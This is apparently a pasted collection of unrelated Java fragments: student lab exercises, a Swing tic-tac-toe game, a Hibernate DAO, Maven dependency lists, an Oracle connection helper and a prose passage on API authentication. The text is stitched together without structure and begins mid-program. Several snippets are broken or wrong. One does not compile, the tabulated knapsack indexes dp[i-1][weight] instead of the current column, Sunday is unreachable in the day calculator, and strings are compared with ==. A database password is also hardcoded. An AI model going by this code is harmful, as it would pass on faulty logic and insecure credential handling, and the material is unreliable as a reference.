        int percent = scanner.nextInt();
        
        if(percent >=90)
        {
            System.out.println("You got an A:");
        }
        else if(percent >=80)
        {
            System.out.println("You got a B:");
        }
        else if(percent >=60)
        {
            System.out.println("You got a C:");
        }
        else if(percent >=50)
        {
            System.out.println("You got a D:");
        }
        else
        {
            System.out.println("You got an F!: ");
        }
        
    }
}
 //Rewrite the above program by using static methods.
// static method help you to make your code more than one time.

public static void main(String[] args) {
        top();
        middle();
        lower();
        top();
        middle();
        lower();
        
    }
        public static void top() {
            
        System.out.println("  ________");
        System.out.println(" /        \\");
        System.out.println("/          \\");
        }
        public static void middle() {
            
        System.out.println("-\"-\'-\"-\'-\"-");
        }
        public static void lower() {
            
        System.out.println("\\          /");
        System.out.println(" \\________/");
        
        }
}
public class Lab_3 {
    
    //Question 3.	
    /*write program called Egg displays the following out shape */
    
    public static void main(String[] args) {
        
        System.out.println("  ________");
        System.out.println(" /        \\");
        System.out.println("/          \\");
        System.out.println("-\"-\'-\"-\'-\"-");
        System.out.println("\\          /");
        System.out.println(" \\________/");
        
        
    }
}
(Print a table) 
/*Write a program that displays the following table. 
Calculate the middle point of two points. */

 a	 b	middle point
(0,0)	(2,1)	(1.0,0.5)
(1,4)	(4,2)	(2.5,3.0)
(2,7)	(6,3)	(4.0,5.0)
(3,9)	(10,5)	(6.5,7.0)
(4,11)	(12,7)	(8.0,9.0)

 public static void main(String[] args) {
        
        System.out.println(" a\t b\tmiddle point");

        System.out.println("(0,0)\t(2,1)\t("+ (double)(0+2)/2 +"," + (double)(0+1)/2+")");
        
        System.out.println("(1,4)\t(4,2)\t("+ (double)(1+4)/2 +"," + (double)(4+2)/2+")");
        
        System.out.println("(2,7)\t(6,3)\t("+ (double)(2+6)/2 +"," + (double)(7+3)/2+")");
        
        System.out.println("(3,9)\t(10,5)\t("+ (double)(3+10)/2 +"," + (double)(9+5)/2+")");
        
        System.out.println("(4,11)\t(12,7)\t("+ (double)(4+12)/2 +"," + (double)(11+7)/2+")");
 }
// Question 1. 
// Write a program that reads in the length of sides 
// of an equilateral triangle and computes the area and volume.
import static java.lang.Math.sqrt;
import java.util.Scanner;

public class Lab_3 {
    
    public static void main(String[] args) {
        
    
        Scanner scanner = new Scanner(System.in);
        //input step.
        System.out.println("Please Enter the lenght of the sides: ");
        double lengthSide = scanner.nextDouble();
        
        System.out.println("Please Enter the height of the triangle: ");
        double height = scanner.nextDouble();
        
        //procesing step.
        double areaOfTriangle = sqrt(3)/4 * (Math.pow(lengthSide,2));
        //heighL*height = Math.pow(height,2)
        double volumeOfTriangle = areaOfTriangle * height;
        
        //telling user what happen.
      //you can use (format function) if you want after point (two,three or one number digits). like first one.
        System.out.format("The area of Triangle is :%.03f ",areaOfTriangle);
        System.out.println("The area of Triangle is: "+areaOfTriangle);
        System.out.println("The volume of Triangle is: "+volumeOfTriangle);
        
   
    }
}
star shape. 

  **   
 **** 
******
******
 **** 
  ** 
  
  
  public static void main(String[] args) {
        
        System.out.println("  **  ");
        System.out.println(" **** ");
        System.out.println("******");
        System.out.println("******");
        System.out.println(" **** ");
        System.out.println("  **  "); 
write program to display this shape.

  /\ 
 /""\ 
/""""\
\""""/
 \""/ 
  \/  
  
 public static void main(String[] args) {

        System.out.println("  /\\ ");
        System.out.println(" /\"\"\\ ");
        System.out.println("/\"\"\"\"\\");
        System.out.println("\\\"\"\"\"/");
        System.out.println(" \\\"\"/ ");
        System.out.println("  \\/  ");
import java.awt.*;
import java.awt.event.*;
import java.util.*;
import javax.swing.*;

//Main method make different main.
public class Main {

	public static void main(String[] args) {
		
		TicTacToe tictactoe = new TicTacToe();
		
	}

}
// make different class.

public class TicTacToe implements ActionListener {
	
	Random random = new Random();
	JFrame frame = new JFrame();
	JPanel title_panel = new JPanel();
	JPanel button_panel = new JPanel();
	JLabel textfield = new JLabel();
	JButton[] buttons = new JButton[9];
	boolean player1_turn;
	
	
	TicTacToe() {
		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.setSize(800,800);
        frame.getContentPane().setBackground(new Color(50,50,100));
        frame.setLayout(new BorderLayout());
        frame.setVisible(true);
        
        textfield.setBackground(new Color(50,50,100));
        textfield.setForeground(new Color(25,255,0));
        textfield.setFont(new Font("Ink Free", Font.BOLD,75));
        textfield.setHorizontalAlignment(JLabel.CENTER);
        textfield.setText("Tic-Tac-Toe");
        textfield.setOpaque(true);
        
        title_panel.setLayout(new BorderLayout());
        title_panel.setBounds(0,0,800,100);
        
        button_panel.setLayout(new GridLayout(3,3));
        button_panel.setBackground(new Color(150,150,150));
        
        for(int i=0;i<9;i++)
        {
            buttons[i] = new JButton();
            button_panel.add(buttons[i]);
            buttons[i].setFont(new Font("MV Boli",Font.BOLD,120));
            buttons[i].setFocusable(false);
            buttons[i].addActionListener(this);
            
        }

        
        title_panel.add(textfield);
        frame.add(title_panel,BorderLayout.NORTH);
        frame.add(button_panel);
       
        firstTurn();
        
	}
	
	
	 @Override
	 public void actionPerformed(ActionEvent e) {
		 
		 for(int i=0;i<9;i++) {
	            if(e.getSource()==buttons[i]) {
	            	if(player1_turn) {
	                    if(buttons[i].getText()=="") {
	                        buttons[i].setForeground(new Color(255,0,0));
	                        buttons[i].setText("X");
	                        player1_turn=false;
	                        textfield.setText("O turn");
	                        check();
	                    }
	                }
	                else {
	                    if(buttons[i].getText()=="") {
	                        buttons[i].setForeground(new Color(0,0,255));
	                        buttons[i].setText("O");
	                        player1_turn=true;
	                        textfield.setText("X turn");
	                        check();
	                    }
	                }
	            }
	        }
	 }
	 
	 public void firstTurn() {
		 
		 try {
			Thread.sleep(2000);
		} catch (InterruptedException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
		 
		 if(random.nextInt(2)==0) {
			 player1_turn=true;
			 textfield.setText("X turn");
	            
	        }
	        else {
	            player1_turn=false;
	            textfield.setText("O turn");
	        }
		 
	 }
	 
	 public void check() {
		 
		 //check X win conditions
		 if(
				 (buttons[0].getText()=="X") &&
				 (buttons[1].getText()=="X") &&
				 (buttons[2].getText()=="X")
				 ) {
			 xWins(0,1,2);
		 }
		 if(
				 (buttons[3].getText()=="X") &&
				 (buttons[4].getText()=="X") &&
				 (buttons[5].getText()=="X")
				 ) {
			 xWins(3,4,5);
		 }
		 if(
				 (buttons[6].getText()=="X") &&
				 (buttons[7].getText()=="X") &&
				 (buttons[8].getText()=="X")
				 ) {
			 xWins(6,7,8);
		 }
		 if(
				 (buttons[0].getText()=="X") &&
				 (buttons[3].getText()=="X") &&
				 (buttons[6].getText()=="X")
				 ) {
			 xWins(0,3,6);
		 }
		 if(
				 (buttons[1].getText()=="X") &&
				 (buttons[4].getText()=="X") &&
				 (buttons[7].getText()=="X")
				 ) {
			 xWins(1,4,7);
		 }
		 if(
				 (buttons[2].getText()=="X") &&
				 (buttons[5].getText()=="X") &&
				 (buttons[8].getText()=="X")
				 ) {
			 xWins(2,5,8);
		 }
		 if(
				 (buttons[0].getText()=="X") &&
				 (buttons[4].getText()=="X") &&
				 (buttons[8].getText()=="X")
				 ) {
			 xWins(0,4,8);
		 }
		 if(
				 (buttons[2].getText()=="X") &&
				 (buttons[4].getText()=="X") &&
				 (buttons[6].getText()=="X")
				 ) {
			 xWins(2,4,6);
		 }
		 
		 
		 //check O win conditions
		 if(
				 (buttons[0].getText()=="O") &&
				 (buttons[1].getText()=="O") &&
				 (buttons[2].getText()=="O")
				 ) {
			 oWins(0,1,2);
		 }
		 if(
				 (buttons[3].getText()=="O") &&
				 (buttons[4].getText()=="O") &&
				 (buttons[5].getText()=="O")
				 ) {
			 oWins(3,4,5);
		 }
		 if(
				 (buttons[6].getText()=="O") &&
				 (buttons[7].getText()=="O") &&
				 (buttons[8].getText()=="O")
				 ) {
			 oWins(6,7,8);
		 }
		 if(
				 (buttons[0].getText()=="O") &&
				 (buttons[3].getText()=="O") &&
				 (buttons[6].getText()=="O")
				 ) {
			 oWins(0,3,6);
		 }
		 if(
				 (buttons[1].getText()=="O") &&
				 (buttons[4].getText()=="O") &&
				 (buttons[7].getText()=="O")
				 ) {
			 oWins(1,4,7);
		 }
		 if(
				 (buttons[2].getText()=="O") &&
				 (buttons[5].getText()=="O") &&
				 (buttons[8].getText()=="O")
				 ) {
			 oWins(2,5,8);
		 }
		 if(
				 (buttons[0].getText()=="O") &&
				 (buttons[4].getText()=="O") &&
				 (buttons[8].getText()=="O")
				 ) {
			 oWins(0,4,8);
		 }
		 if(
				 (buttons[2].getText()=="O") &&
				 (buttons[4].getText()=="O") &&
				 (buttons[6].getText()=="O")
				 ) {
			 oWins(2,4,6);
		 }
		 
	 }
	 
	 public void xWins(int a, int b, int c) {
		 
		 buttons[a].setBackground(Color.GREEN);
	     buttons[b].setBackground(Color.GREEN);
	     buttons[c].setBackground(Color.GREEN);
	        
	     for(int i=0;i<9;i++) {
	    	 buttons[i].setEnabled(false);
	    	 }
	        textfield.setText("X wins");
	    }
		 
	 public void oWins(int a, int b, int c) {
		 
		 buttons[a].setBackground(Color.GREEN);
	     buttons[b].setBackground(Color.GREEN);
	     buttons[c].setBackground(Color.GREEN);
	        
	     for(int i=0;i<9;i++) {
	    	 buttons[i].setEnabled(false);
	    	 }
	        textfield.setText("O wins");
	    }
		 
		 
	 }

package com.mycompany.converttemperature;

import java.util.Scanner;
public class ConvertTemperature {

    public static void main(String[] args) {
        
    // Question 5. Write a program to convert a temperature given in degree Fahrenheit to degree Celsius.
    //    Hint use oC=5/9 *(oF-32)
    
    
        Scanner scanner = new Scanner(System.in);
        
        System.out.println("Enter degree of Fahrenheit: ");
        double Fahrenheit = scanner.nextDouble();
        
      
        double Celsius = 5.0/9 * (Fahrenheit - 32);
        System.out.println("The degree of Celsius is:- "+Celsius);
      
      //now you will get double number when you write one of them double division. like 5.0/9 * ( F - 32);
        
     
    }
}
package com.mycompany.currenttime;


public class Currenttime {

    public static void main(String[] args) {
        
    //4.  Write a program that will tell the current time.
    //   Hint use System.currentTimemillis() to get the total number of seconds

        long currentTimemillis = System.currentTimeMillis();
        long totalseconds = currentTimemillis / 1000;
        long secondsnow = totalseconds % 60;
        long totalminutes = totalseconds / 60;
        long minutesnow = totalminutes % 60;
        long totalhours = totalminutes / 60;
        long hoursnow = totalhours % 24;
        
        System.out.println("The current time is: " + hoursnow + ":" +minutesnow + ":" + secondsnow );
        
        
    }
}
import java.util.Scanner;

public class Dayafter100 {

    public static void main(String[] args) {
        
    //3. Write a program that will find the day after 100 days from today.
    //   Hint: count from 1 starting from Monday, use modulo operator
        
        int dayNow = 27;
        //int daysAfter = 100;
        
        Scanner scanner = new Scanner(System.in);
        System.out.println("Please Enter daysAfter: ");
        int daysAfter = scanner.nextInt();
        
        int dayAfter100 = (daysAfter + dayNow)%7;
        
        if (dayAfter100 == 1)
        {
            System.out.println("The day in 100 will be Monday. ");
        }
        if (dayAfter100 == 2)
        {
            System.out.println("The day in 100 will be Tuesday. ");
        }
        if (dayAfter100 == 3)
        {
            System.out.println("The day in 100 will be Wendsday. ");
        }
        if (dayAfter100 == 4)
        {
            System.out.println("The day in 100 will be Thursday. ");
        }
        if (dayAfter100 == 5)
        {
            System.out.println("The day in 100 will be Friday. ");
        }
        if (dayAfter100 == 6)
        {
            System.out.println("The day in 100 will be Saturday. ");
        }
        if (dayAfter100 == 7)
        {
            System.out.println("The day in 100 will be Sunday. ");
        }
        
        
    }
}
package com.mycompany.areaofcircle;

//import java.util.Scanner;
public class Areaofcircle {
    
    //Lab 2,   Question 2.

    public static void main(String[] args) {
        
        // Question 2.	Translate the following algorithm into Java code:
        
//   Step 1: Declare a double variable named miles with initial value 100.
//   Step 2: Declare a double constant named KILOMETERS_PER_MILE with value 1.609.
//   Step 3: Declare a double variable named kilometers, multiply miles and KILOMETERS_PER_MILE, and assign the result to kilometers. 
//   Step 4: Display kilometers to the console. 
//   What is kilometers after Step 4?

        
        double miles = 100;
        final double KILOMETERS_PER_MILE = 1.609;
        double kilometers;
        
        kilometers = miles * KILOMETERS_PER_MILE;
        
        System.out.println("kilometers is: "+kilometers);
        
        
    }
}
package com.mycompany.areaofcircle;

import java.util.Scanner;
public class Areaofcircle {
    
    //Lab 2,   Question 1.

    public static void main(String[] args) {
        //required variables:- radius, pi
        //pi is constant= 3.14
        
//input step.        
        final double pi = 3.14;
        
        //ask user to enter radius number.
        Scanner read = new Scanner(System.in);
        System.out.println("Enter the radius of the circle: ");
        double radius = read.nextDouble();
        
//procesing step.
        double area = pi*radius*radius;
        
        System.out.println("The area of circle is "+area);
        
        
    }
}
package net.javaguides.hibernate.dao;

import org.hibernate.Session;
import org.hibernate.Transaction;

import net.javaguides.hibernate.entity.Instructor;
import net.javaguides.hibernate.util.HibernateUtil;

public class InstructorDao {
    public void saveInstructor(Instructor instructor) {
        Transaction transaction = null;
        try (Session session = HibernateUtil.getSessionFactory().openSession()) {
            // start a transaction
            transaction = session.beginTransaction();
            // save the student object
            session.save(instructor);
            // commit transaction
            transaction.commit();
        } catch (Exception e) {
            if (transaction != null) {
                transaction.rollback();
            }
            e.printStackTrace();
        }
    }

    public void updateInstructor(Instructor instructor) {
        Transaction transaction = null;
        try (Session session = HibernateUtil.getSessionFactory().openSession()) {
            // start a transaction
            transaction = session.beginTransaction();
            // save the student object
            session.update(instructor);
            // commit transaction
            transaction.commit();
        } catch (Exception e) {
            if (transaction != null) {
                transaction.rollback();
            }
            e.printStackTrace();
        }
    }

    public void deleteInstructor(int id) {

        Transaction transaction = null;
        try (Session session = HibernateUtil.getSessionFactory().openSession()) {
            // start a transaction
            transaction = session.beginTransaction();

            // Delete a instructor object
            Instructor instructor = session.get(Instructor.class, id);
            if (instructor != null) {
                session.delete(instructor);
                System.out.println("instructor is deleted");
            }

            // commit transaction
            transaction.commit();
        } catch (Exception e) {
            if (transaction != null) {
                transaction.rollback();
            }
            e.printStackTrace();
        }
    }

    public Instructor getInstructor(int id) {

        Transaction transaction = null;
        Instructor instructor = null;
        try (Session session = HibernateUtil.getSessionFactory().openSession()) {
            // start a transaction
            transaction = session.beginTransaction();
            // get an instructor object
            instructor = session.get(Instructor.class, id);
            // commit transaction
            transaction.commit();
        } catch (Exception e) {
            if (transaction != null) {
                transaction.rollback();
            }
            e.printStackTrace();
        }
        return instructor;
    }
}
// 
@Id
 @GenericGenerator(name = "generator", strategy = "guid", parameters = {})
 @GeneratedValue(generator = "generator")
 @Column(name = "APPLICATION_ID" , columnDefinition="uniqueidentifier")
 private String id;
//hibernate import 
<dependency>
    <groupId>org.hibernate</groupId>
    <artifactId>hibernate-core-jakarta</artifactId>
    <version>5.6.10.Final</version>
</dependency>
<dependency>
    <groupId>jakarta.persistence</groupId>
    <artifactId>jakarta.persistence-api</artifactId>
    <version>3.1.0</version>
</dependency>\

//
<dependency>
            <groupId>org.hibernate.orm</groupId>
            <artifactId>hibernate-core</artifactId>
            <version>6.0.0.Final</version>
        </dependency>
        <dependency>
            <groupId>org.glassfish.jaxb</groupId>
            <artifactId>jaxb-runtime</artifactId>
            <version>3.0.2</version>
        </dependency>
//JSTL
<dependency>
    <groupId>jakarta.servlet.jsp.jstl</groupId>
    <artifactId>jakarta.servlet.jsp.jstl-api</artifactId>
    <version>2.0.0</version>
</dependency>
<dependency>
    <groupId>org.glassfish.web</groupId>
    <artifactId>jakarta.servlet.jsp.jstl</artifactId>
    <version>2.0.0</version>
</dependency>
//Lombox


<dependency>
    <groupId>org.projectlombok</groupId>
    <artifactId>lombok</artifactId>
    <version>1.18.24</version>
    <scope>provided</scope>
</dependency>

//MSSQL JDBC
<dependency>
    <groupId>com.microsoft.sqlserver</groupId>
    <artifactId>mssql-jdbc</artifactId>
    <version>9.4.1.jre16</version>
</dependency>

//MySQL
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.31</version>
</dependency>
///JPA
<dependency>
    <groupId>org.springframework.data</groupId>
    <artifactId>spring-data-jpa</artifactId>
    <version>2.7.0</version>
</dependency>


//Spring Validator
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-validation</artifactId>
</dependency>
//Loop - JSTL
<%@ taglib prefix = "c" uri = "http://java.sun.com/jsp/jstl/core" %>
  
  //Form - JSTL
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form" %>
import java.util.Scanner;

public class FirstPrograming {
    public static void main(String[] args) {
        
        System.out.println("welcome java programing: ");
        
        Scanner scanner = new Scanner(System.in);
        
        System.out.println("Enter number one: ");
        int numOne = scanner.nextInt();
        System.out.println("Enter number Two: ");
        int numTwo = scanner.nextInt();
        System.out.println("Enter number three: ");
        int numThree = scanner.nextInt();
        
        int sum= numOne+numTwo-numThree;
        
        System.out.println("sum of two numbers is: " +sum);
        
    }
}
import java.util.Scanner;

public class Main {
    public static void main(String[] args) {
        
        Scanner scanner = new Scanner(System.in);
        
        
        System.out.println("what is your name: ");
        String name = scanner.nextLine();
        System.out.println("how old are you: ");
        int age = scanner.nextInt();
        
        scanner.nextLine();
        System.out.println("what is your favorite food: ");
        String food = scanner.nextLine();
        
        
        System.out.println("hello "+name);
        System.out.println("you are "+age+" years old.");
        System.out.println("you like "+food);
    }
}
public class FirstPrograming {
    public static void main(String[] args) {
        
        String x = "mother";
        String y= "father";
        String temp;
        
        temp=x;
        x=y;
        y=temp;
        
        System.out.println("x: "+x);
        System.out.println("y: "+y);
    }
}
public class FirstPrograming {
  public static void main(string[] args) {
    System.out.println("hello world.");
    
    byte age = 30;
    long viesCount = 3_123_456_789L;
    float price = 10.99F;
    char letter = 'A';
    boolean = true/false;
  }
  
}
import java.util.Scanner;



public class Main{
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        System.out.print("Enter Your Number : ");
        int n = in.nextInt();
        System.out.println("Your number is : " +  ArmStrong(n));
        
        
    }
    static boolean ArmStrong(int n){
        int sum = 0;
        int num = n;
        while(n>0){
            int lastdig = n%10;
            sum  = sum+lastdig*lastdig*lastdig;
            n=n/10;
        }
        if(sum==num){
            return true;
        }
        else{
            return false;
        }
    }
    

    

}
import java.util.Scanner;



public class Main{
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        System.out.print("Enter Your Number : ");
        int n = in.nextInt();
        System.out.println("Your Given Number :" +isPrime(n));
        
    }

    static Boolean isPrime(int n){
        if(n<=1){
            return false;
        }
        int c = 2;
        while(c*c<=n){
            if(n%c==0){
                return false;
            }
            c++;
        }
        if(c*c > n){
            return true;
        }else{
            return false;
        }

    }

}
public class mayank {
    public static void main(String[] args) {
        System.out.println("Enter the numbers");
        Scanner sc =new Scanner(System.in);
        int a = sc.nextInt();
        int b= sc.nextInt();
        int gcd=0;
        for (int i=1;i<=a || i<=b;i++){
            if (a%i ==0 && b%i==0){
                gcd = i;
            }
        }
        int lcm = (a*b) /gcd;
        System.out.println(lcm);

        /*int hcf=0;
        for (int i =1;i<=a||i<=b;i++){
            if(a%i==0 && b%i==0){
                hcf =i;
            }

        }
        System.out.println(hcf);*/
    }
}
class Sample 
{int a;
	{
		System.out.println("Inside Non-static/Instance block");
		a=100;
	}
	Sample()
		{
			System.out.println("Inside Constructors"+  a);
			a = 2000;
			System.out.println("Hello World!"+a);
		}
	Sample(boolean x)
		{
			System.out.println("Inside Constru"+a);
			a=3000;
			System.out.println("Hello World!"+a);
		}

	public static void main(String[] args) 
	{
		System.out.println("Start");
		Sample s1 = new Sample();
		Sample s2 = new Sample(true);
		System.out.println("Stop");

	}
}
import java.util.Scanner;

public class Main{
  public static void main(String[] args) {
    int ans = sum2();
    System.out.println("Your Answer = "+ans);
    
  }

    static int sum2(){
        Scanner in = new Scanner(System.in);
        System.out.print("Enter Number 1 : ");
        int num1 = in.nextInt();
        System.out.print("Enter Number 2 : ");
        int num2 = in.nextInt();

        int sum = num1+num2;
        return sum;
    }
}    
import java.util.Scanner;

public class Main{
  public static void main(String[] args) {
    Scanner in = new Scanner(System.in);
    System.out.print("Enter Your Year : ");
    int n = in.nextInt();
    
    if(n%100==0){
      if(n%400==0){
        System.out.println("Its Leap/Century Year");
      }
      else{
        System.out.println("Not a Leap year");
      }
    }else if(n%4==0){
      System.out.println("Its a Leap Year");
    }
    else{
      System.out.println("Not a leap year");
    }
  } 
}
import java.util.Scanner;

public class Main{
  public static void main(String[] args) {
    Scanner in = new Scanner(System.in);
    System.out.println("Enter Your Number");
    int n = in.nextInt();
    int sum = 0;
    while(n>0){
      int lastdig = n%10;
       sum = sum+lastdig;
       n = n/10;
    }
    System.out.println(sum);
  } 
}
class Biba
{{
	System.out.println("Hi");
}
Biba()
{
	System.out.println("Inside Constructors");
	
}
Biba(int a)
	{
		System.out.println("Inside Constructors 1");
		System.out.println(a);
	}
	public static void main(String[] args) 
	{
		System.out.println("Start");
		Biba s2 = new Biba();
		//Biba s3 = new Biba(45);
		System.out.println("Stop");

	}
}
import java.util.Scanner;

public class Main{
  public static void main(String[] args) {
    Scanner in = new Scanner(System.in);
    String name = in.next();
    int size = name.length();
    String word = "";
    for (int i = 0; i < name.length(); i++) {
      char rev = name.charAt(size-i-1); // Index is Zero..... size = 4, i=0, -1 == 3;
      word = word + rev;
    }
    System.out.println(word);
  } 
}
import java.util.Scanner;
//To find Armstrong Number between two given number.
public class Main{
  public static void main(String[] args) {
    Scanner in = new Scanner(System.in);
    //input
    int sum = 0;
    System.out.println("Enter Your Number");
    int n = in.nextInt();
    int input = n;

    while(n>0){
     int lastdig = n%10; //To get the last Dig;
      sum = sum + lastdig*lastdig*lastdig;
      n = n/10;   //removes last dig from number;
    }
    if(input==sum){
      System.out.println("Number is Armstrong Number :" + input + " : "+ sum);
    }else{
      System.out.println("Number is Not Armstrong Number :" + input + " : "+ sum); 
    }
  } 
}
import java.util.Scanner;
//To find out whether the given String is Palindrome or not.  121 , 1331 
public class Main{
  public static void main(String[] args) {
    Scanner in = new Scanner(System.in);
    //input
    int sum = 0;
    int lastdig = 0;
    System.out.println("Enter Your Number");
    int n = in.nextInt();
    int input = n;

    while(n>0){
      lastdig = n%10; //To get the last Dig;
      sum = sum*10+lastdig;
      n = n/10;   //removes last dig from number;
    }
    if(input == sum){
      System.out.println("Number is Palindrome : "+ input + " : " + sum);
    }else{
      System.out.println("Number is Not Palindrome : " + input +" : "+ sum);
    }
    
  } 
}
import java.util.Scanner;
//To calculate Fibonacci Series up to n numbers.
public class Main{
  public static void main(String[] args) {
    Scanner in = new Scanner(System.in);
    //input
    System.out.print("Enter Your Number :");
    int n = in.nextInt();
    // 0 1 1 2 3 5 8 13

    int a = 0;
    int b = 1;
    int count = 2;
    while(count<n){
      int temp = b;
      b = a+b;
      a = temp;
      count++;
    }
    System.out.println(b);
  } 
}
Button myButton = findViewById(R.id.my_button);
myButton.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View view) {
        doSomething();
    }
});

private void doSomething() {
    // Do something when the button is clicked
}
package database;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class OracleConnection{

    public static Connection getConnection()
    {
         Connection myConnection = null;
         String userName, password, service, url;

         userName = "vehiculefleetdb" ;
         password = "123" ;
         service = "localhost" ;

         url = "jdbc:oracle:thin:";

        try {

                myConnection = DriverManager.getConnection(url + userName + "/" + password + "@" + service);
                 System.out.println(" Connection successfull");

        } catch (SQLException ex) {
              ex.printStackTrace();
                  System.out.println(" Connection failed  ");
        }

        return myConnection;
    }


}
package bus ;

import java.io.Serializable;

public class Vehicule implements IMileageEfficiency, Serializable{


	private static final long serialVersionUID = 1L;
	double ME;
	double serialNumber;
	String made;
	String model;
	String color;
	int lenghtInFeet;
	protected int tripCounter;
	double energyConsumed;
	String eSuffix;

	Vehicule(double serialNumber, String made, String model, String color,
			 int lenghtInFeet, int tripCounter, String eSuffix){
		ME = 0;
		this.tripCounter = tripCounter;
		energyConsumed = 0;
		this.serialNumber = serialNumber;
		this.made = made;
		this.model = model;
		this.color = color;
		this.lenghtInFeet = lenghtInFeet;
		this.eSuffix = eSuffix;
		
	};
	
	public double getSN() {
		return this.serialNumber;
	}
	
	public double getMilePerUnitOfEnergy() {
		if (energyConsumed == 0) {
			return 0;
		}else {
		ME = this.tripCounter/this.energyConsumed;
		return ME;
		}
	}
	
	public void makeTrip(int tripCounter, double energyConsumed) {
		this.energyConsumed = energyConsumed;
		this.tripCounter = tripCounter;
		
	}
System.out.printf("--------------------------------%n");
System.out.printf(" Java's Primitive Types         %n");
System.out.printf(" (printf table example)         %n");

System.out.printf("--------------------------------%n");
System.out.printf("| %-10s | %-8s | %4s |%n", "CATEGORY", "NAME", "BITS");
System.out.printf("--------------------------------%n");

System.out.printf("| %-10s | %-8s | %04d |%n", "Floating", "double",  64);
System.out.printf("| %-10s | %-8s | %04d |%n", "Floating", "float",   32);
System.out.printf("| %-10s | %-8s | %04d |%n", "Integral", "long",    64);
System.out.printf("| %-10s | %-8s | %04d |%n", "Integral", "int",     32);
System.out.printf("| %-10s | %-8s | %04d |%n", "Integral", "char",    16);
System.out.printf("| %-10s | %-8s | %04d |%n", "Integral", "short",   16);
System.out.printf("| %-10s | %-8s | %04d |%n", "Integral", "byte",    8);
System.out.printf("| %-10s | %-8s | %04d |%n", "Boolean",  "boolean", 1);

System.out.printf("--------------------------------%n");
[/* package whatever; // don't place package name! */

import java.util.*;
import java.lang.*;
import java.io.*;

/* Name of the class has to be "Main" only if the class is public. */
class Ideone
{
	public static void main (String[] args) throws java.lang.Exception
	{
		
		int x=add(1,2,3,4,5);
		System.out.println(x);
		// your code goes here
	}
	public static int add(int ...args)
	{
		int ans=0;
		for(int x:args)
		{
			ans+=x;
		}
		return ans;
	}
}]
Step 3: Authentication
Next, we will move on to API authentication methods. API authentication aims to check and verify if the user making the request is who they claim to be. The API authentication process will first validate the identity of the client attempting to make a connection by using an authentication protocol. The credentials from the client requesting the connection is sent over to the server in either plain text or encrypted form. The server checks that the credentials are correct before granting the request. The system needs to ensure each end user is properly validated. This is to ensure that the right user is accessing the service and not someone without the right access who might be an attacker trying to hack into the system.

HTTP Basic Authentication
Different API systems use different methods of authentication. First, we have HTTP basic authentication. This method of authentication makes use of a username and password that is put into the Authorization header of an API request. It is recommended to use this method of authentication through hypertext transfer protocol secure (HTTPS) so that the connection between the client and server is encrypted.

Bearer Authentication
Another method of authentication is Bearer Authentication. A token is used to authenticate and authorize a user request. The token is usually given to the user by the server after the user has authenticated through a login or verification method. The token is then put into the Authorization header of an API request. The issued tokens are short-lived and expire at some point. 

API Keys
Authentication with API keys is similar to Bearer Authentication. However, in the case of API keys, the keys are obtained by the user instead of issued by the server for bearer authentication. API keys do not have an expiry date and are usually provided by API vendors or through creating an account. Most APIs accept API keys via HTTP request headers. However, as there is no common header field to send the API key, it would be easier to consult the API vendor or refer to the appropriate documentation for the correct use of the API key when sending an API request. For this campaign, Circle uses the API key authentication method.

No Authentication
There are also some API systems where you can submit an API request without any authentication. Anyone can simply make a request to the specific URL and get a response without a token or API key. This method of authentication is not recommended and is usually used either for testing or for in-house premises.
  public static boolean isNotNullAll(Object... objects){
    for (Object element:
         objects) {
      if (Objects.isNull(element)) return false;
      if (element instanceof String){
        String temp = (String) element;
        if (temp.trim().isEmpty()) return false;
      }
    }
    return true;
  }
public class ZeroOneKnapsack {
    public static int zerOneKnapsack(int[] val, int[] wt, int w, int i){
        if(w==0 || i==0) return 0;
        if(wt[i-1]<=w){
            int ans1= val[i-1]+zerOneKnapsack(val,wt,w-wt[i-1],i-1);
            int ans2= zerOneKnapsack(val,wt,w,i-1);
            return Math.max(ans1,ans2);
        }
        else return zerOneKnapsack(val,wt,w,i-1);
    }

    public static int memoZerOneKnapsack(int[] val, int[]wt, int w,int i, int[][] arr){
        if(w==0 || i==0){
            return 0;
        }
        if(arr[i][w]!=-1){
            return arr[i][w];
        }
        if(wt[i-1]<=w){
            int ans1= val[i-1]+memoZerOneKnapsack(val,wt,w-wt[i-1],i-1,arr);
            int ans2= memoZerOneKnapsack(val,wt,w,i-1,arr);
            arr[i][w]= Math.max(ans1,ans2);
        }
        else {
           arr[i][w]= memoZerOneKnapsack(val, wt, w, i - 1, arr);
        }
        return arr[i][w];
    }//all elements of table must be initialised with -1's.

    public static int tabZeroOneKnapsack(int[] val, int[] wt, int w){
        int n= val.length;
        int[][] dp =new int[n+1][w+1];
        for (int i = 0; i < n+1; i++) dp[i][0]=0;
        for(int i=0;i<w+1;i++) dp[0][i]=0;
        for (int i = 1; i < n+1; i++) {
            for (int j = 1; j < w+1; j++) {
                int v=val[i-1];
                int weight=wt[i-1];
                if(weight<=j){
                    int incProfit=v+dp[i-1][j-weight];
                    int excProfit=dp[i-1][j];
                    dp[i][j]=Math.max(incProfit,excProfit);
                } else{
                    dp[i][j]=dp[i-1][weight];
                }
            }
        }
        return dp[n][w];
    }

    public static void main(String[] args){
        int[] val={15,14,10,45,30};
        int[] wt={2,5,1,3,4};
        int w=7;
        System.out.println(zerOneKnapsack(val,wt,w,val.length));
        int[][] arr=new int[val.length+1][w+1]; // for memoZeroKnapsack
        for (int i = 0; i < arr.length; i++) {
            for (int j = 0; j < arr[0].length; j++) {
                arr[i][j]=-1;
            }
        }
        System.out.println(memoZerOneKnapsack(val,wt,w,val.length,arr));
    }
}
src/main/java
    +- com
        +- example
            +- Application.java
            +- ApplicationConstants.java
                +- configuration
                |   +- ApplicationConfiguration.java
                +- controller
                |   +- ApplicationController.java
                +- dao
                |   +- impl
                |   |   +- ApplicationDaoImpl.java
                |   +- ApplicationDao.java
                +- dto
                |   +- ApplicationDto.java
                +- service
                |   +- impl
                |   |   +- ApplicationServiceImpl.java
                |   +- ApplicationService.java
                +- util
                |   +- ApplicationUtils.java
                +- validation
                |   +- impl
                |   |   +- ApplicationValidationImpl.java
                |   +- ApplicationValidation.java
@Override
